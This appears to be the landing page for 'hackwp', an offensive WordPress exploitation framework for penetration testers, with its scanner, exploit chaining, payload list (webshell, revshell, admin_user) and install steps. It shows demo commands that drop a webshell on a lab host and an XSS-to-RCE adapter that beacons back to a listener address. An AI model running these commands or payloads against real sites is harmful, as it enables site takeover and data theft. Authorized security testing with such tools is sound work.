hackwp.

v2.1  //  WordPress offensive framework

hackwp

Exploit·Enumerate·Own

One bad plugin.
Total compromise.

hwp is a WordPress exploitation framework built for people who get paid to break things on purpose. 323 exploit modules, a scanner that fingerprints the whole stack, and adapters that turn a shrug-worthy alert(1) into demonstrated code execution. Point it at something you're authorized to test and stop guessing.

gh repo clone etragardh/hackwp
operator@lab — hwp — 96×28
# target: your own lab box. always. $ hwp -t http://dvwp.lab --scan [+] WordPress 7.0 theme twentytwentyfive (1.0) [+] plugins 1 detected [+] users admin, editor, author, subscriber [!] XML-RPC enabled [!] debug.log exposed [»] 1 confirmed · 3 possible exploits $ hwp -t http://dvwp.lab --exploit hwp-training/1.0.0-rce \ --payload webshell [+] chain resolved rce webshell [+] shell live /wp-content/uploads/x7f2a.php [+] whoami www-data $
0
Exploit modules
0
Plugins · Themes · Core
0
CVEs referenced
0
Payloads

Why this exists

alert(1) never
fixed anything.

A screenshot of a JavaScript popup gets filed under "low, will fix next quarter." A webshell sitting in /wp-content/uploads/ gets fixed on a Saturday. hwp is built around that difference: prove impact in the language the person holding the budget actually understands, then hand them the evidence and the remediation.

WordPress is the soft underbelly

The core is hardened and audited. The problem was never the core — it's the seventeen plugins bolted on top, four of which were last updated when the maintainer still cared. hwp targets reality: 304 plugin modules, 16 theme modules, 3 core modules.

One command beats forty tabs

Scan, match, chain, deliver, report. No copy-pasting a python2 gist from a dead forum, no five-step manual auth dance. The framework resolves the chain, handles the session, and tells you what actually happened.

"It's probably fine" is not a security control.

— every incident report, written in hindsight

The kit

Six ways to ruin
a sysadmin's friday.

Every one of them belongs in a scoped engagement with a signed authorization. Used anywhere else, they're a crime — and a boring one at that.

--scan

The Scanner

Fingerprints core version, active theme, installed plugins with versions, enumerated users, and the misconfigurations nobody meant to ship — XML-RPC, exposed debug.log, open registration, directory listing, wp-cron, missing headers. -a probes 1,500 popular slugs. -aa throws the entire vuln database at it.

tui

The Cockpit

Run hwp with no arguments and you get a full-screen operator console: multi-select exploits, live filtering, payload matching, argument forms, and the exact command line it's about to run printed at the bottom. No guessing.

F2

Scan Intel

Scan a target, then open the TUI — hwp cross-references the results. Matching versions get flagged « confirmed, maybes get « possible, both sort to the top. Hit F2 to hide everything that doesn't apply to this target.

chain

Exploit chaining

AUTH runs first, PRIVESC second, then the chain resolves right-to-left: payload → transformer → delivery. Object injection into a POP gadget into RCE is one command, not an afternoon of manual plumbing.

8 modules

Payloads that land

admin_user, bash, db_debug, file_read, filebrowser, php, revshell, webshell. Each declares which capabilities it can ride, so the framework picks the right delivery vector instead of you.

~/.hackwp

Sessions that stick

Harvest a session once and it's cached in ~/.hackwp/sessions for every run after. Feed it a cookie, feed it credentials, or let an AUTH exploit go get one. Scan results cache too — the TUI reads them automatically.


The cockpit

Type hwp.
Hit enter.
Go to work.

No arguments needed. The TUI is the front door — every exploit, every payload, every argument, one keyboard away.

  • Multi-select exploits — build a chain visually, watch it resolve
  • Live filter — 323 modules, type three characters, find yours
  • Payload matching — capabilities shown inline, mismatches impossible
  • Scan Intel pane — versions, users, findings, all cross-referenced
  • Command preview — see the exact CLI before anything leaves your box
The hwp terminal interface showing the exploit list, payload list, argument form and Scan Intel pane

The arsenal

323 modules.
15 ways in.

Every exploit declares exactly one thing: the capability it hands to the chain. That's the whole contract. The framework does the rest — matching payloads, resolving transformers, escalating roles. Here's what's in the box today.

AFU Arbitrary file upload 101
SQLIq SQL injection — read / extract 78
FILEDL Arbitrary file download 38
AUTH Gain a session or credentials 23
LFI Local file inclusion / traversal 19
RCE Remote code execution 17
RFI Remote file inclusion 11
XSSr Reflected cross-site scripting 10
XSS Stored cross-site scripting 7
AFD Arbitrary file delete / modify 5
OTHER Operator-driven action 5
PRIVESC Raise an identity to a higher role 5
CODEINJ Deferred PHP code injection 2
OBJINJ Object injection / deserialization 2
SQLI SQL injection — stacked, write-capable 1

Counted straight from the module tree on v2.1 — 324 capability declarations across 323 modules, referencing 153 distinct CVEs. This page re-reads the repo every day, so it is never out of date. Missing something? Write the module and send a pull request.


The party trick

Turn "low severity"
into a fire drill.

Two framework-core adapters, toggled by the operator, that carry an RCE payload through a vector that isn't RCE. This is the difference between a finding that gets triaged and a finding that gets fixed.

xss → rce
# stored XSS, upgraded to demonstrated RCE $ hwp -t http://dvwp.lab \ --exploit hwp-training/1.0.0-xss \ --payload webshell --xss-rce-adapter \ --lhost 10.0.0.5 --lport 8888 [+] payload stored as admin-context JS [~] waiting for an authenticated admin… [+] sink hit plugin upload [+] beacon received server-side execution confirmed # that's not "low". that's game over. $
--xss-rce-adapter

XSS → RCE

The payload is stored as admin-context JavaScript. When an authenticated admin loads the injected page, the JS drops the payload's PHP on the server — trying plugin upload, theme upload, media upload, then editor sinks — and triggers it. Add --lhost and a server-side beacon proves execution happened on the box, not in a browser.

--auth-rce-adapter

AUTH → RCE

Already holding an admin session? Skip the exploit entirely — the session is the vector. Same sinks as the XSS adapter, driven straight from your machine over authenticated requests. Run an AUTH exploit once, then deliver payloads all day with nothing but --payload.


Quickstart

Five minutes
to first shell.

Python 3.10+. Four dependencies. No installer, no daemon, no telemetry, no account. Clone it, link it, aim it at your own lab.

  1. Clone & link

    Drop hwp on your $PATH so it's one word from anywhere.

  2. Install deps

    packaging, requests, rich, textual, httpx. That's the lot.

  3. Stand up a lab

    A throwaway WordPress in Docker, a vulnerable VM, a target with a signed scope. Not a stranger's blog.

  4. Scan, then swing

    Recon first — the scanner tells the TUI which exploits are worth your time.

install
$ gh repo clone etragardh/hackwp $ cd hackwp $ chmod +x hwp.py $ sudo ln -s ${PWD}/hwp.py /usr/local/bin/hwp $ pip install packaging requests rich textual httpx # no args = interactive cockpit $ hwp